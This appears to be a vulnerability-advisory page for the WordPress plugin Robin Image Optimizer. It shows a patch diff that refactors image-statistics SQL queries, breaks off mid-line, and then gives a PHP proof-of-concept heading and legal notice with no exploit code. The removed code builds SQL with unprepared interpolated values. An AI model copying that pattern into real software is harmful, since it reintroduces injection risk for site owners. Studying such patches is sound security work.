+				return (int) $wpdb->get_var( $sql );
+			}
+		);
+	}
+
+	/**
+	 * Count unoptimized images.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param bool $exclude_wpml_dupes Whether to exclude WPML translation duplicates.
+	 *
+	 * @return int
+	 */
+	public function count_unoptimized( $exclude_wpml_dupes = true ) {
+		$cache_suffix = $exclude_wpml_dupes ? '1' : '0';
+		$cache_key    = "count_unoptimized_{$cache_suffix}";
+
+		return $this->get_cached_count(
+			$cache_key,
+			function () use ( $exclude_wpml_dupes ) {
+				global $wpdb;
+
+				$sql  = $this->get_base_query( 'COUNT(DISTINCT posts.ID)' );
+				$sql .= ' AND ' . $this->get_optimization_exists_clause( true, true );
+
+				if ( $exclude_wpml_dupes ) {
+					$sql .= $this->get_wpml_exclusion_clause();
+				}
+
+				// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Query built with safe methods and prepared with types.
+				$sql = $wpdb->prepare( $sql, $this->get_required_types() );
+
+				return (int) $wpdb->get_var( $sql );
+			}
+		);
+	}
+
+	/**
+	 * Count images with optimization errors.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return int
+	 */
+	public function count_error() {
+		return $this->get_cached_count(
+			'count_error',
+			function () {
+				global $wpdb;
+
+				$sql  = $this->get_base_query( 'COUNT(DISTINCT posts.ID)' );
+				$sql .= ' AND ' . $this->get_error_exists_clause();
+
+				// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Query built with safe methods, no user input.
+				return (int) $wpdb->get_var( $sql );
+			}
+		);
+	}
+
+	/**
+	 * Count total attachment images with allowed formats.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param bool $exclude_wpml_dupes Whether to exclude WPML translation duplicates.
+	 *
+	 * @return int
+	 */
+	public function count_total_attachments( $exclude_wpml_dupes = true ) {
+		$cache_suffix = $exclude_wpml_dupes ? '1' : '0';
+		$cache_key    = "count_total_attachments_{$cache_suffix}";
+
+		return $this->get_cached_count(
+			$cache_key,
+			function () use ( $exclude_wpml_dupes ) {
+				global $wpdb;
+
+				$sql = $this->get_base_query( 'COUNT(DISTINCT posts.ID)' );
+
+				if ( $exclude_wpml_dupes ) {
+					$sql .= $this->get_wpml_exclusion_clause();
+				}
+
+				// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Query built with safe methods, no user input.
+				return (int) $wpdb->get_var( $sql );
+			}
+		);
+	}
+
+	/**
+	 * Clear all query caches.
+	 *
+	 * Call after image optimization, restoration, or deletion.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return void
+	 */
+	public static function clear_cache() {
+		$keys = [
+			'count_optimized',
+			'count_unoptimized_0',
+			'count_unoptimized_1',
+			'count_error',
+			'count_total_attachments_0',
+			'count_total_attachments_1',
+		];
+
+		foreach ( $keys as $key ) {
+			wp_cache_delete( $key, self::CACHE_GROUP );
+		}
+	}
+
+	/**
+	 * Refresh instance data after settings change.
+	 *
+	 * Use this if WebP/AVIF settings are changed mid-request.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return void
+	 */
+	public function refresh() {
+		$this->required_types      = null;
+		$formats                   = wrio_get_allowed_formats( true );
+		$this->allowed_formats_sql = is_array( $formats ) ? implode( ', ', $formats ) : $formats;
+		self::clear_cache();
+	}
+}
--- a/robin-image-optimizer/includes/classes/class-rio-image-statistic.php
+++ b/robin-image-optimizer/includes/classes/class-rio-image-statistic.php
@@ -76,6 +76,18 @@
 	}

 	/**
+	 * Read file size reliably within the current request.
+	 * PHP caches stat() results; we clear cache for this path.
+	 *
+	 * @param mixed $file_path The file path.
+	 *
+	 * @return int
+	 */
+	protected function get_file_size( $file_path ) {
+		return wrio_get_file_size( $file_path );
+	}
+
+	/**
 	 * Get the statistic data.
 	 *
 	 * @return  array{
@@ -171,47 +183,14 @@
 		$webp_optimized_size = WRIO_Plugin::app()->getOption( 'webp_optimized_size', 0 );
 		$avif_optimized_size = WRIO_Plugin::app()->getOption( 'avif_optimized_size', 0 );

-		$allowed_formats_sql = wrio_get_allowed_formats( true );
-
-		global $wpdb;
-		$sql          = "SELECT COUNT(*) FROM {$wpdb->posts} WHERE post_type = 'attachment' AND post_status = 'inherit' AND post_mime_type IN ( {$allowed_formats_sql} );";
-		$total_images = $wpdb->get_var( $sql );
-		$error_count  = RIO_Process_Queue::count_by_type_status( 'attachment', 'error' );
-		// Count images that have ALL required conversions complete
-		// Build list of required item_types based on what's enabled
-		$required_types = [ 'attachment' ]; // Basic optimization always required
-
-		if ( class_exists( 'WRIO_Format_Converter_Factory' ) ) {
-			if ( WRIO_Format_Converter_Factory::is_webp_enabled() ) {
-				$required_types[] = 'webp';
-			}
-			if ( WRIO_Format_Converter_Factory::is_avif_enabled() ) {
-				$required_types[] = 'avif';
-			}
-		}
-
-		$db_table             = RIO_Process_Queue::table_name();
-		$placeholders         = implode( ',', array_fill( 0, count( $required_types ), '%s' ) );
-		$sql_optimized        = $wpdb->prepare(
-			"SELECT COUNT(DISTINCT p.ID)
-			FROM {$wpdb->posts} p
-			WHERE p.post_type = 'attachment'
-				AND p.post_status = 'inherit'
-				AND p.post_mime_type IN ( {$allowed_formats_sql} )
-				AND (
-					SELECT COUNT(DISTINCT rio.item_type)
-					FROM {$db_table} rio
-					WHERE rio.object_id = p.ID
-						AND rio.item_type IN ( {$placeholders} )
-						AND rio.result_status = 'success'
-				) = %d",
-			array_merge( $required_types, [ count( $required_types ) ] )
-		);
-		$optimized_count      = (int) $wpdb->get_var( $sql_optimized );
+		$image_query          = WRIO_Image_Query::get_instance();
+		$total_images         = $image_query->count_total_attachments( false ); // false = don't exclude WPML dupes for total display
+		$optimized_count      = $image_query->count_optimized();
+		$error_count          = $image_query->count_error(); // Count images with ANY error (attachment, webp, or avif)
 		$webp_optimized_count = RIO_Process_Queue::count_by_type_status( 'webp', 'success' );
-		$webp_error_count     = RIO_Process_Queue::count_by_type_status( 'webp', 'error' );
+		$webp_error_count     = (int) RIO_Process_Queue::count_by_type_status( 'webp', 'error' );
 		$avif_optimized_count = RIO_Process_Queue::count_by_type_status( 'avif', 'success' );
-		$avif_error_count     = RIO_Process_Queue::count_by_type_status( 'avif', 'error' );
+		$avif_error_count     = (int) RIO_Process_Queue::count_by_type_status( 'avif', 'error' );

 		if ( ! $total_images ) {
 			$total_images = 0;
@@ -219,20 +198,11 @@
 		if ( ! $error_count ) {
 			$error_count = 0;
 		}
-		if ( ! $webp_error_count ) {
-			$webp_error_count = 0;
-		}
-		if ( ! $avif_error_count ) {
-			$avif_error_count = 0;
-		}
 		if ( ! $optimized_count ) {
 			$optimized_count = 0;
 		}
-		// unoptimized count: all - optimized - error
-		$unoptimized_count = static::get_unoptimized_count();
-		if ( $unoptimized_count < 0 ) {
-			$unoptimized_count = 0;
-		}
+		// Unoptimized = total - optimized - errors (ensures mutual exclusivity)
+		$unoptimized_count = max( 0, $total_images - $optimized_count - $error_count );

 		// WebP stats
 		$unconverted_count = static::get_unconverted_count( 'webp' );
@@ -276,12 +246,8 @@
 		}

 		$optimized_images_percent = 0;
-		if ( $total_images ) {
-			if ( $optimized_count >= $total_images ) {
-				$optimized_images_percent = 100;
-			} else {
-				$optimized_images_percent = floor( $optimized_count * 100 / $total_images );
-			}
+		if ( $total_images > 0 ) {
+			$optimized_images_percent = floor( $optimized_count * 100 / $total_images );
 		}

 		$processor = WIO_OptimizationTools::getImageProcessor();
@@ -330,44 +296,7 @@
 	 * @since  1.3.6
 	 */
 	public static function get_unoptimized_count() {
-		global $wpdb;
-		$db_table = RIO_Process_Queue::table_name();
-
-		$allowed_formats_sql = wrio_get_allowed_formats( true );
-
-		// Build list of required item_types based on what's enabled
-		$required_types = [ 'attachment' ]; // Basic optimization always required
-
-		if ( class_exists( 'WRIO_Format_Converter_Factory' ) ) {
-			if ( WRIO_Format_Converter_Factory::is_webp_enabled() ) {
-				$required_types[] = 'webp';
-			}
-			if ( WRIO_Format_Converter_Factory::is_avif_enabled() ) {
-				$required_types[] = 'avif';
-			}
-		}
-
-		// Count images that are missing ANY required conversion
-		// An image is unoptimized if it doesn't have ALL required item_types with success status
-		$placeholders = implode( ',', array_fill( 0, count( $required_types ), '%s' ) );
-
-		$sql = $wpdb->prepare(
-			"SELECT COUNT(DISTINCT p.ID)
-			FROM {$wpdb->posts} p
-			WHERE p.post_type = 'attachment'
-				AND p.post_status = 'inherit'
-				AND p.post_mime_type IN ( {$allowed_formats_sql} )
-				AND (
-					SELECT COUNT(DISTINCT rio.item_type)
-					FROM {$db_table} rio
-					WHERE rio.object_id = p.ID
-						AND rio.item_type IN ( {$placeholders} )
-						AND rio.result_status = 'success'
-				) < %d",
-			array_merge( $required_types, [ count( $required_types ) ] )
-		);
-
-		return (int) $wpdb->get_var( $sql );
+		return WRIO_Image_Query::get_instance()->count_unoptimized();
 	}

 	/**
@@ -481,10 +410,7 @@
 	 * @type string $file_name Имя файла
 	 * @type string $url URL
 	 * @type string $thumbnail_url URL превьюшки
-	 * @type string $original_size Размер до оптимизации
 	 * @type string $optimized_size Размер после оптимизации
-	 * @type string $webp_size webP размер
-	 * @type string $original_saving На сколько процентов изменился главный файл
 	 * @type string $thumbnails_count Сколько превьюшек оптимизировано
 	 * @type string $total_saving Процент оптимизации главного файла и превьюшек
 	 * }
@@ -492,92 +418,81 @@
 	public function get_last_optimized_images( $limit = 100 ) {
 		global $wpdb;

-		$items    = [];
 		$db_table = RIO_Process_Queue::table_name();
-		if ( $limit ) {
-			$sql = $wpdb->prepare(
-				"SELECT *	FROM {$db_table}
-					WHERE item_type IN ('attachment', 'webp') AND result_status IN (%s, %s)
-					ORDER BY id DESC
-					LIMIT %d ;",
-				RIO_Process_Queue::STATUS_SUCCESS,
-				RIO_Process_Queue::STATUS_ERROR,
-				$limit
-			);
-		} else {
-			$sql = $wpdb->prepare(
-				"SELECT *	FROM {$db_table}
-					WHERE item_type IN ('attachment', 'webp') AND result_status IN (%s, %s)
-					ORDER BY id DESC;",
-				RIO_Process_Queue::STATUS_SUCCESS,
-				RIO_Process_Queue::STATUS_ERROR
-			);

-		}
-		$optimized_images = $wpdb->get_results( $sql, ARRAY_A );
+		$limit = max( 0, (int) $limit );

-		$items = [];
-		if ( ! empty( $optimized_images ) ) {
-			foreach ( $optimized_images as $row ) {
-				$object_id = $row['object_id'];
-				if ( $row['item_type'] == 'attachment' ) {
-					$items[ $object_id ] = $this->format_for_log( new RIO_Process_Queue( $row ) );
-				}
+		$sql = $wpdb->prepare(
+			"SELECT object_id FROM {$db_table}
+				WHERE result_status IN (%s, %s)
+				ORDER BY id DESC
+				LIMIT %d;",
+			RIO_Process_Queue::STATUS_SUCCESS,
+			RIO_Process_Queue::STATUS_ERROR,
+			$limit
+		);

-				if ( $row['item_type'] == 'webp' && $this->is_original_webp( $row ) ) {
-					if ( ! isset( $items[ $object_id ] ) ) {
-						$items[ $object_id ] = $this->format_for_log( new RIO_Process_Queue( $row ) );
-					}
-				}
-			}
-		}
+		$optimized_images_logs = $wpdb->get_results( $sql, ARRAY_A );

-		return $items;
-	}
+		$optimized_attachment_ids = [];
+		foreach ( $optimized_images_logs as $log ) {
+			$optimized_attachment_ids[] = $log['object_id'];
+		}
+		$optimized_attachment_ids = array_unique( $optimized_attachment_ids );

-	/**
-	 * @param $row
-	 *
-	 * @return bool
-	 */
-	public function is_original_webp( $row ) {
-		if ( $row['item_type'] == 'webp' ) {
-			$extra = json_decode( $row['extra_data'], true );
-			if ( isset( $extra['converted_from_size'] ) && $extra['converted_from_size'] == 'original' ) {
-				return true;
+		$optimized_attachment = [];
+		foreach ( $optimized_attachment_ids as $attachment_id ) {
+			$log_data = $this->get_last_optimized_image( $attachment_id );
+			if ( ! empty( $log_data ) ) {
+				$optimized_attachment[] = $log_data[0];
 			}
 		}

-		return false;
+		return $optimized_attachment;
 	}

 	/**
-	 * @param int $object_id
+	 * Get the last optimized image record for a specific attachment.
+	 * Uses the same data source as get_last_optimized_images() for consistency.
 	 *
+	 * @param int $attachment_id Attachment ID.
+	 *
+	 * @return array<int, array<string, mixed>>
 	 * @since  1.3.9
 	 */
-	public function get_last_optimized_image( $object_id ) {
-		global $wpdb;
+	public function get_last_optimized_image( $attachment_id ) {
+		$info = WRIO_Media_Library::get_instance()->calculateMediaLibraryParams( $attachment_id );

-		$items    = [];
-		$db_table = RIO_Process_Queue::table_name();
-		$sql      = $wpdb->prepare(
-			"SELECT *	FROM {$db_table}
-					WHERE object_id = '%d' AND item_type = 'attachment' AND result_status IN (%s, %s)
-					ORDER BY id DESC
-					LIMIT 1;",
-			(int) $object_id,
-			RIO_Process_Queue::STATUS_SUCCESS,
-			RIO_Process_Queue::STATUS_ERROR
-		);
-
-		$model = $wpdb->get_row( $sql, ARRAY_A );
+		$best_optimized_size = ! empty( $info['optimized_size'] ) ? $info['optimized_size'] : 0;
+		if ( ! empty( $info['webp_size'] ) ) {
+			$best_optimized_size = min( $best_optimized_size, $info['webp_size'] );
+		}
+
+		if ( ! empty( $info['avif_size'] ) ) {
+			$best_optimized_size = min( $best_optimized_size, $info['avif_size'] );
+		}
+
+		$original_size       = ! empty( $info['original_size'] ) ? $info['original_size'] : 0;
+		$best_optimized_size = min( $best_optimized_size, $original_size );
+
+		$log = [
+			'id'               => $attachment_id,
+			'file_name'        => $info['original_name'],
+			'url'              => $info['edit_url'],
+			'thumbnail_url'    => $info['original_url'],
+			'original_size'    => size_format( $original_size, 2 ),
+			'optimized_size'   => size_format( $best_optimized_size, 2 ),
+			'thumbnails_count' => ! empty( $info['thumbnails_optimized'] ) ? $info['thumbnails_optimized'] : 0,
+			'total_saving'     => ! empty( $info['diff_percent_all'] ) ? $info['diff_percent_all'] . '%' : '0%',
+		];

-		if ( ! empty( $model ) ) {
-			$items[] = $this->format_for_log( new RIO_Process_Queue( $model ) );
+		// Check errors.
+		if ( ! empty( $info['error_msg'] ) ) {
+			$log['type']      = 'error';
+			$log['error_msg'] = $info['error_msg'];
 		}

-		return $items;
+		return [ $log ];
 	}

 	/**
@@ -617,10 +532,13 @@
 	}

 	/**
-	 * @param RIO_Process_Queue $queue_model
+	 * Format a queue record for the optimization log display.
+	 * Works universally for attachment, webp, and avif item types.
 	 *
-	 * @return array
-	 * @throws Exception
+	 * @param RIO_Process_Queue $queue_model Queue model instance.
+	 *
+	 * @return array<string, mixed>
+	 * @throws Exception If invalid model provided.
 	 * @since  1.3.9
 	 */
 	protected function format_for_log( $queue_model ) {
@@ -628,123 +546,111 @@
 			throw new Exception( 'Variable $queue_model must be an instance of RIO_Process_Queue!' );
 		}

-		if ( $queue_model->item_type === 'webp' ) {
-			return $this->format_webp_for_log( $queue_model );
-		}
-		/**
-		 * @var RIO_Attachment_Extra_Data $extra_data
-		 */
-		$extra_data = $queue_model->get_extra_data();
-
-		$default_formated_data = [
-			'id'               => $queue_model->get_id(),
-			'url'              => admin_url( sprintf( 'post.php?post=%d&action=edit', $queue_model->get_object_id() ) ),
-			'original_url'     => null,
-			'thumbnail_url'    => null,
-			'file_name'        => null,
-			'original_size'    => 0,
-			'optimized_size'   => 0,
-			'type'             => 'success',
-			'webp_size'        => null,
-			'avif_size'        => null,
-			'original_saving'  => 0,
-			'thumbnails_count' => 0,
-			'total_saving'     => 0,
+		$extra_data    = $queue_model->get_extra_data();
+		$object_id     = $queue_model->get_object_id();
+		$item_type     = $queue_model->item_type;
+		$original_size = $queue_model->get_original_size();
+		$final_size    = min( $original_size, $queue_model->get_final_size() );
+
+		$formatted_data = [
+			'id'                  => $queue_model->get_id(),
+			'attachment_id'       => $object_id,
+			'item_type'           => $item_type,
+			'url'                 => admin_url( sprintf( 'post.php?post=%d&action=edit', $object_id ) ),
+			'original_url'        => null,
+			'thumbnail_url'       => null,
+			'file_name'           => null,
+			'original_size'       => size_format( $original_size, 2 ),
+			'original_size_bytes' => $original_size,
+			'optimized_size'      => size_format( $final_size, 2 ),
+			'type'                => 'success',
+			'webp_size'           => null,
+			'avif_size'           => null,
+			'original_saving'     => 0,
+			'thumbnails_count'    => 0,
+			'total_saving'        => 0,
+			'final_size_bytes'    => $final_size,
+			'converted_from'      => null,
 		];

-		$upload_dir = wp_upload_dir();
-
-		$attachment_meta = wp_get_attachment_metadata( $queue_model->get_object_id() );
-		$formated_data   = [];
-
-		if ( ! empty( $attachment_meta ) ) {
-			$image_url     = trailingslashit( $upload_dir['baseurl'] ) . $attachment_meta['file'];
-			$thumbnail_url = $image_url;
-
-			if ( isset( $attachment_meta['sizes']['thumbnail'] ) ) {
-				$image_basename = wp_basename( $image_url );
-				$thumbnail_url  = str_replace( $image_basename, $attachment_meta['sizes']['thumbnail']['file'], $image_url );
-			}
-
-			$main_file = trailingslashit( $upload_dir['basedir'] ) . $attachment_meta['file'];
-
-			// Use main file sizes (not combined with thumbnails) to match media library display
-			$original_main_size = ! empty( $extra_data ) ? $extra_data->get_original_main_size() : 0;
-			$current_main_size  = is_numeric( $queue_model->get_final_size() ) ? $queue_model->get_final_size() : filesize( $main_file );
-
-			$formated_data = wp_parse_args(
-				[
-					'original_url'   => $image_url,
-					'thumbnail_url'  => $thumbnail_url,
-					'file_name'      => wp_basename( $attachment_meta['file'] ),
-					'original_size'  => size_format( $original_main_size ? $original_main_size : $queue_model->get_original_size(), 2 ),
-					'optimized_size' => size_format( $queue_model->get_final_size(), 2 ),
-				],
-				$default_formated_data
-			);
-
-			// An extra data may be empty after a failed migration or an unknown error.
-			if ( ! empty( $extra_data ) ) {
-				if ( $original_main_size && $current_main_size ) {
-					$original_saving                  = ( $original_main_size - $current_main_size ) * 100 / $original_main_size;
-					$formated_data['original_saving'] = round( $original_saving ) . '%';
-				}
-
-				$formated_data['thumbnails_count'] = $extra_data->get_thumbnails_count();
-			}
-
-			// Query for WebP conversion record (main/full size only)
-			$webp_record = $this->get_conversion_record( $queue_model->get_object_id(), 'webp' );
-			if ( $webp_record ) {
-				$formated_data['webp_size'] = size_format( $webp_record->get_final_size(), 2 );
+		// Get URLs and file name based on item type
+		if ( in_array( $item_type, [ 'webp', 'avif' ], true ) && $extra_data instanceof RIOP_WebP_Extra_Data ) {
+			// For webp/avif, use source_src from extra_data
+			$original_url                     = $extra_data->get_source_src();
+			$formatted_data['original_url']   = $original_url;
+			$formatted_data['file_name']      = wp_basename( $original_url );
+			$formatted_data['thumbnail_url']  = $original_url;
+			$formatted_data['converted_from'] = $extra_data->get_converted_from_size();
+
+			// Set the appropriate size field
+			if ( 'avif' === $item_type ) {
+				$formatted_data['avif_size'] = size_format( $final_size, 2 );
+			} else {
+				$formatted_data['webp_size'] = size_format( $final_size, 2 );
 			}

-			// Query for AVIF conversion record (main/full size only)
-			$avif_record = $this->get_conversion_record( $queue_model->get_object_id(), 'avif' );
-			if ( $avif_record ) {
-				$formated_data['avif_size'] = size_format( $avif_record->get_final_size(), 2 );
-			}
-
-			if ( $queue_model->get_original_size() ) {
-				$total_saving                  = ( $queue_model->get_original_size() - $queue_model->get_final_size() ) * 100 / $queue_model->get_original_size();
-				$formated_data['total_saving'] = round( $total_saving, 2 ) . '%';
+			if ( $extra_data->get_thumbnails_count() ) {
+				$formatted_data['thumbnails_count'] = $extra_data->get_thumbnails_count();
 			}
 		} else {
-			$attachment = get_post( $queue_model->get_object_id() );
+			// For attachment type, use WordPress attachment metadata
+			$upload_dir      = wp_upload_dir();
+			$attachment_meta = wp_get_attachment_metadata( $object_id );
+
+			if ( ! empty( $attachment_meta ) ) {
+				$image_url                       = trailingslashit( $upload_dir['baseurl'] ) . $attachment_meta['file'];
+				$formatted_data['original_url']  = $image_url;
+				$formatted_data['file_name']     = wp_basename( $attachment_meta['file'] );
+				$formatted_data['thumbnail_url'] = $image_url;
+
+				if ( isset( $attachment_meta['sizes']['thumbnail'] ) ) {
+					$image_basename                  = wp_basename( $image_url );
+					$formatted_data['thumbnail_url'] = str_replace( $image_basename, $attachment_meta['sizes']['thumbnail']['file'], $image_url );
+				}

-			if ( ! empty( $attachment ) ) {
-				$formated_data = [
-					'original_url'  => $attachment->guid,
-					'thumbnail_url' => $attachment->guid,
-					'file_name'     => wp_basename( $attachment->guid ),
-				];
+				if ( ! empty( $extra_data ) && method_exists( $extra_data, 'get_thumbnails_count' ) ) {
+					$formatted_data['thumbnails_count'] = $extra_data->get_thumbnails_count();
+				}
+			} else {
+				// Fallback to post guid
+				$attachment = get_post( $object_id );
+				if ( ! empty( $attachment ) ) {
+					$formatted_data['original_url']  = $attachment->guid;
+					$formatted_data['thumbnail_url'] = $attachment->guid;
+					$formatted_data['file_name']     = wp_basename( $attachment->guid );
+				}
 			}
+		}

-			$formated_data = wp_parse_args( $formated_data, $default_formated_data );
+		// Calculate total saving directly from the row's original_size and final_size
+		if ( is_numeric( $original_size ) && $original_size > 0 && is_numeric( $final_size ) ) {
+			$total_saving                   = ( $original_size - $final_size ) * 100 / $original_size;
+			$total_saving                   = max( 0, min( $total_saving, 100 ) );
+			$formatted_data['total_saving'] = round( $total_saving, 2 ) . '%';
 		}

-		// We collect information about errors
-		if ( $queue_model->get_result_status() == RIO_Process_Queue::STATUS_ERROR ) {
+		// Handle errors
+		if ( RIO_Process_Queue::STATUS_ERROR === $queue_model->get_result_status() ) {
 			$error_message = null;

-			if ( ! empty( $extra_data ) ) {
+			if ( ! empty( $extra_data ) && method_exists( $extra_data, 'get_error_msg' ) ) {
 				$error_message = $extra_data->get_error_msg();
 			}

-			$formated_data['type']      = 'error';
-			$formated_data['error_msg'] = ! empty( $error_message ) ? $error_message : __( 'Unknown error', 'robin-image-optimizer' );
-
-			return $formated_data;
+			$formatted_data['type']      = 'error';
+			$formatted_data['error_msg'] = ! empty( $error_message ) ? $error_message : __( 'Unknown error', 'robin-image-optimizer' );
 		}

-		return $formated_data;
+		return $formatted_data;
 	}

 	/**
-	 * @param RIO_Process_Queue $queue_model
+	 * Format WebP/AVIF record for log display.
 	 *
-	 * @return array
-	 * @throws Exception
+	 * @param RIO_Process_Queue $queue_model Queue model instance.
+	 *
+	 * @return array<string, mixed>
+	 * @throws Exception If invalid model provided.
 	 * @since  1.5.3
 	 */
 	protected function format_webp_for_log( $queue_model ) {
@@ -759,6 +665,8 @@

 		$default_formated_data = [
 			'id'               => $queue_model->get_id(),
+			'attachment_id'    => $queue_model->get_object_id(),
+			'item_type'        => $queue_model->item_type,
 			'url'              => admin_url( sprintf( 'post.php?post=%d&action=edit', $queue_model->get_object_id() ) ),
 			'original_url'     => null,
 			'thumbnail_url'    => null,
@@ -811,8 +719,9 @@
 			if ( ! empty( $extra_data ) ) {
 				$original_main_size = $extra_data->get_original_main_size();

-				if ( $original_main_size && file_exists( $main_file ) ) {
-					$original_saving                  = ( $original_main_size - filesize( $main_file ) ) * 100 / $original_main_size;
+				if ( $original_main_size ) {
+					$current_main_size                = $this->get_file_size( $main_file );
+					$original_saving                  = ( $original_main_size - $current_main_size ) * 100 / $original_main_size;
 					$formated_data['original_saving'] = round( $original_saving ) . '%';
 				}

@@ -838,10 +747,10 @@
 		}

 		// We collect information about errors
-		if ( $queue_model->get_result_status() == RIO_Process_Queue::STATUS_ERROR ) {
+		if ( RIO_Process_Queue::STATUS_ERROR === $queue_model->get_result_status() ) {
 			$error_message = null;

-			if ( ! empty( $extra_data ) ) {
+			if ( ! empty( $extra_data ) && method_exists( $extra_data, 'get_error_msg' ) ) {
 				$error_message = $extra_data->get_error_msg();
 			}

--- a/robin-image-optimizer/includes/classes/class-rio-media-library.php
+++ b/robin-image-optimizer/includes/classes/class-rio-media-library.php
@@ -126,9 +126,10 @@
 		$optimization_data = $wio_attachment->getOptimizationData();

 		$allowed_mime = wrio_get_allowed_formats();
+		$allowed_mime = is_array( $allowed_mime ) ? $allowed_mime : [];
 		$mime_type    = get_post_mime_type( $attachment_id );
-		if ( ! in_array( $mime_type, $allowed_mime ) ) {
-			WRIO_Plugin::app()->logger->warning( 'This format is disabled in the plugin settings: ' . $mime_type );
+		if ( ! in_array( $mime_type, $allowed_mime, true ) ) {
+			WRIO_Plugin::app()->logger->warning( 'This format is disabled in the plugin settings: ' . $mime_type . ' (' . implode( ',', $allowed_mime ) . ')' );

 			return [];
 		}
@@ -242,38 +243,7 @@
 	 * @return array
 	 */
 	public function getUnoptimizedImages() {
-		global $wpdb;
-		$db_table = RIO_Process_Queue::table_name();
-
-		$allowed_formats_sql = wrio_get_allowed_formats( true );
-
-		$optimize_order = WRIO_Plugin::app()->getOption( 'image_optimization_order', 'asc' );
-
-		$sql = "SELECT DISTINCT posts.ID
-			FROM {$wpdb->posts} AS posts
-			LEFT JOIN {$db_table} AS rio ON posts.ID = rio.object_id AND rio.item_type = 'attachment'
-			WHERE rio.object_id IS NULL
-				AND posts.post_type = 'attachment'
-				AND posts.post_status = 'inherit'
-				AND posts.post_mime_type IN ( {$allowed_formats_sql} )";
-
-		// If you use a WPML plugin, you need to exclude duplicate images
-		if ( defined( 'WPML_PLUGIN_FILE' ) ) {
-			$sql .= " AND NOT EXISTS (
-						SELECT trnsl.element_id
-						FROM {$wpdb->prefix}icl_translations as trnsl
-					        WHERE trnsl.element_id=posts.ID
-					           AND trnsl.element_type='post_attachment'
-					           AND source_language_code IS NOT NULL
-					    )";
-		}
-
-		$sql .= " ORDER BY posts.ID {$optimize_order}";
-
-		// выборка не оптимизированных изображений
-		$unoptimized_attachments_ids = $wpdb->get_col( $sql );
-
-		return is_array( $unoptimized_attachments_ids ) ? $unoptimized_attachments_ids : [];
+		return WRIO_Image_Query::get_instance()->get_unoptimized_ids();
 	}

 	/**
@@ -295,8 +265,6 @@
 	 * @return array|WP_Error
 	 */
 	public function processUnoptimizedImages( $max_process_per_request ) {
-		global $wpdb;
-
 		$backup_origin_images = WRIO_Plugin::app()->getPopulateOption( 'backup_origin_images', false );

 		$backup = WIO_Backup::get_instance();
@@ -309,36 +277,14 @@
 			return new WP_Error( 'unwritable_upload_dir', __( 'No access for writing backups.', 'robin-image-optimizer' ) );
 		}

-		$db_table                = RIO_Process_Queue::table_name();
 		$max_process_per_request = intval( $max_process_per_request );
-		$allowed_formats_sql     = wrio_get_allowed_formats( true );
-
-		$optimize_order = WRIO_Plugin::app()->getOption( 'image_optimization_order', 'asc' );
-
-		$sql = "SELECT DISTINCT posts.ID
-			FROM {$wpdb->posts} AS posts
-			LEFT JOIN {$db_table} AS rio ON posts.ID = rio.object_id AND rio.item_type = 'attachment'
-			WHERE rio.object_id IS NULL
-				AND posts.post_type = 'attachment'
-				AND posts.post_status = 'inherit'
-				AND posts.post_mime_type IN ( {$allowed_formats_sql} )";
-
-		// If you use a WPML plugin, you need to exclude duplicate images
-		if ( defined( 'WPML_PLUGIN_FILE' ) ) {
-			$sql .= " AND NOT EXISTS (
-						SELECT trnsl.element_id
-						FROM {$wpdb->prefix}icl_translations as trnsl
-					        WHERE trnsl.element_id=posts.ID
-					           AND trnsl.element_type='post_attachment'
-					           AND source_language_code IS NOT NULL
-					    )";
-		}
-
-		$sql .= " ORDER BY posts.ID {$optimize_order}
-			LIMIT {$max_process_per_request}";

-		// выборка неоптимизированных изображений
-		$unoptimized_attachments_ids = $wpdb->get_col( $sql );
+		// Get unoptimized attachment IDs using centralized query helper
+		$unoptimized_attachments_ids = WRIO_Image_Query::get_instance()->get_unoptimized_ids(
+			$max_process_per_request,
+			0,
+			true
+		);

 		// временно
 		$optimized_count   = (int) RIO_Process_Queue::count_by_type_status( 'attachment', 'success' );
@@ -395,7 +341,7 @@
 			'remain'          => $remain,
 			'end'             => false,
 			'statistic'       => $image_statistics->load(),
-			'last_optimized'  => $image_statistics->get_last_optimized_image( $last_optimized_id ),
+			'last_optimized'  => $last_optimized_id ? $image_statistics->get_last_optimized_image( $last_optimized_id ) : [],
 			'optimized_count' => $optimized_count,
 		];

@@ -622,12 +568,7 @@
 	 * @return int
 	 */
 	public function getOptimizedCount() {
-		$optimized_count = RIO_Process_Queue::count_by_type_status( 'attachment', 'success' );
-		if ( ! $optimized_count ) {
-			$optimized_count = 0;
-		}
-
-		return $optimized_count;
+		return WRIO_Image_Query::get_instance()->count_optimized();
 	}

 	/**
@@ -726,6 +667,16 @@
 		$is_skipped        = $optimization_data->is_skipped();
 		$attach_meta       = wp_get_attachment_metadata( $attachment_id );
 		$attach_dimensions = '0 x 0';
+		$error_msg         = '';
+		// Check if attachment format is supported
+		$allowed_mime        = wrio_get_allowed_formats();
+		$allowed_mime        = is_array( $allowed_mime ) ? $allowed_mime : [];
+		$mime_type           = get_post_mime_type( $attachment_id );
+		$is_supported_format = in_array( $mime_type, $allowed_mime, true );
+
+		$original_url  = wp_get_attachment_url( $attachment_id );
+		$edit_url      = get_edit_post_link( $attachment_id );
+		$original_name = basename( $original_url );

 		if ( isset( $attach_meta['width'] ) && isset( $attach_meta['height'] ) ) {
 			$attach_dimensions = $attach_meta['width'] . ' × ' . $attach_meta['height'];
@@ -739,26 +690,71 @@
 			$attachment_file_size = filesize( $attachment_file );
 		}

+		// Check for errors in extra data.
+		$extra_data = $optimization_data->get_extra_data();
+		if ( null !== $extra_data && method_exists( $extra_data, 'get_error_msg' ) ) {
+			$error = $extra_data->get_error_msg();
+
+			if ( ! empty( $error ) ) {
+				$error_msg = $error;
+			}
+		}
+
+		$extra_data = $webp_data->get_extra_data();
+		if ( null !== $extra_data && method_exists( $extra_data, 'get_error_msg' ) ) {
+			$error = $extra_data->get_error_msg();
+
+			if ( ! empty( $error ) ) {
+				$error_msg .= ' WebP error: ' . $e

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

